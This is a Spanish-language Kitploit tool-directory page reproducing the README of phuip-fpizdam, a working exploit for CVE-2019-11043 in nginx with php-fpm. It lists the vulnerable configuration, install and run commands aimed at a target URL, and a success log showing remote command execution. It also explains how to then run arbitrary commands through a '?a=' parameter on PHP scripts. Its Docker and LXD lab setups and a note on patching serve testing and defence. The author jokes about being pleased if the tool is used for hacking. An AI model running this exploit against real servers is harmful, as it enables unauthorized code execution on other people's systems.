Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
phuip-fpizdam — Exploit para CVE-2019-11043 | Kitploit
Herramientas/GitHubGitHub/codehex083/phuip-fpizdam
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

Exploit para CVE-2019-11043

Ver Repositorio
3hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PHuiP-FPizdaM

Qué es esto

Esto es un exploit para un bug en php-fpm (CVE-2019-11043). En ciertas configuraciones de nginx + php-fpm, el bug puede activarse desde el exterior. Esto significa que un usuario web puede obtener ejecución de código si tienes una configuración vulnerable (consulta a continuación).

Informe técnico

Aunque fuimos demasiado perezosos para hacer un informe técnico, Orange Tsai publicó un análisis perfecto en su blog. Enhorabuena a él.

Además, mis diapositivas de ZeroNights 2019 están disponibles.

Qué es vulnerable

Si un servidor web ejecuta nginx + php-fpm y nginx tiene una configuración como

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

que además carece de cualquier comprobación de existencia de scripts (como try_files), entonces probablemente puedas hackearlo con este sploit.

La lista completa de requisitos previos

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) debe reenviarse a php-fpm (quizás la expresión regular puede ser más estricta, ver #1).
  2. Debe haber una asignación de la variable PATH_INFO mediante la declaración fastcgi_param PATH_INFO $fastcgi_path_info;. Además, SCRIPT_FILENAME debe establecerse usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (puede haber una ruta constante en lugar de $document_root). Al principio pensábamos que estas siempre estaban presentes en el archivo fastcgi_params, pero no es cierto.
  3. Debe haber una forma de establecer PATH_INFO a un valor vacío. Este exploit asume que la directiva fastcgi_split_path_info está presente y contiene una expresión regular que comienza con ^ y termina con $, por lo que intenta romper la expresión regular con un carácter de nueva línea.

¿No se sabe que esto es vulnerable desde hace años?

Hace mucho tiempo, php-fpm no restringía las extensiones de los scripts, lo que significaba que algo como /avatar.png/some-fake-shit.php podía ejecutar avatar.png como un script PHP. Este problema se corrigió alrededor de 2010.

El actual no requiere subida de archivos, funciona en las versiones más recientes (hasta que llegó el parche) y, lo más importante, el exploit es mucho más chulo.

Cómo ejecutarlo

Instálalo usando

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Si obtienes errores extraños de compilación, asegúrate de que estás usando go >= 1.13. Ejecuta el programa usando phuip-fpizdam [url] (asumiendo que tienes $GOPATH/bin dentro de tu $PATH; de lo contrario, especifica la ruta completa al binario). Una salida correcta se ve así:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

Después de esto, puedes comenzar a añadir ?a=<your command> a todos los scripts PHP (puede que necesites varios reintentos).

Alternativamente, puedes usar una imagen de Docker para ejecutar el exploit:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Entornos de prueba

Usando Docker

Si quieres reproducir el problema o jugar con el exploit localmente mediante Docker, haz lo siguiente:

  1. Clona este repositorio y ve al directorio reproducer.
  2. Crea la imagen de Docker usando docker build -t reproduce-cve-2019-11043 .. Tarda mucho tiempo porque internamente clona el repositorio de php y lo compila desde el código fuente. Sin embargo, así será más fácil si quieres depurar el exploit. La revisión compilada es la inmediatamente anterior al parche.
  3. Ejecuta el contenedor usando docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. Ahora tienes http://127.0.0.1:8080/script.php, que es un archivo vacío.
  5. Ejecuta el exploit usando phuip-fpizdam http://127.0.0.1:8080/script.php
  6. Si todo está bien, podrás ejecutar comandos añadiendo ?a= al script: http://127.0.0.1:8080/script.php?a=id. Inténtalo varias veces, ya que solo algunos de los workers de php-fpm están infectados.

Usando contenedores de sistema LXD

Si quieres reproducir el problema o jugar con el exploit localmente a través de LXD, haz lo siguiente:

  1. Crea dos contenedores de sistema, vulnerable y attacker. Puedes usar la imagen de contenedor ubuntu:18.04 para ambos contenedores.
  2. En el contenedor vulnerable, instala nginx y php-fpm. Configura el bloque de servidor como esta configuración. Crea un archivo vacío /var/www/html/index.php.
  3. En el contenedor attacker, instala el lenguaje Go (sudo snap install go --classic), clona este repositorio y ejecuta go build en el directorio del repositorio.
  4. Ejecuta el ataque de la siguiente manera: ./phuip-fpizdam http://vulnerable.lxd/index.php. Prueba varias veces para infectar a todos los workers de php-fpm.

Para instrucciones más detalladas, consulta Probando CVE-2019-11043 (vulnerabilidad de seguridad de php-fpm) con contenedores de sistema LXD.

Acerca de PHP5

El desbordamiento de búfer inferior (buffer underflow) en php-fpm está presente en la versión 5 de PHP. Sin embargo, este exploit hace uso de una optimización utilizada para almacenar variables FastCGI, _fcgi_data_seg. Esta optimización solo está presente en php 7, por lo que este exploit en particular solo funciona en php 7. Podría haber otra técnica de explotación que funcione en php 5.

Créditos

La anomalía original fue descubierta por d90pwn durante la Real World CTF. La causa raíz fue encontrada por mí (Emil Lerner), así como la forma de establecer las opciones de php.ini. El conjunto final de opciones de php.ini fue encontrado por beched.

Licencia

Este exploit se distribuye bajo los términos de la Licencia MIT.

Evita causar cualquier daño con este exploit. Pero si realmente hackeas algo con esto, estaré feliz.

Descargar herramienta
  • Este exploit en particular asume que PATH_INFO se establece después de REQUEST_URI en la configuración.
  • No debe haber comprobaciones de existencia de archivos como try_files $uri =404 o if (-f $uri). Si Nginx descarta las solicitudes a scripts inexistentes antes del reenvío a FastCGI, nuestras solicitudes nunca llegan a php-fpm. Añadir esto es también la forma más fácil de parchear.
  • Este exploit solo funciona con PHP 7+, pero el bug en sí está presente en versiones anteriores (consulta más abajo).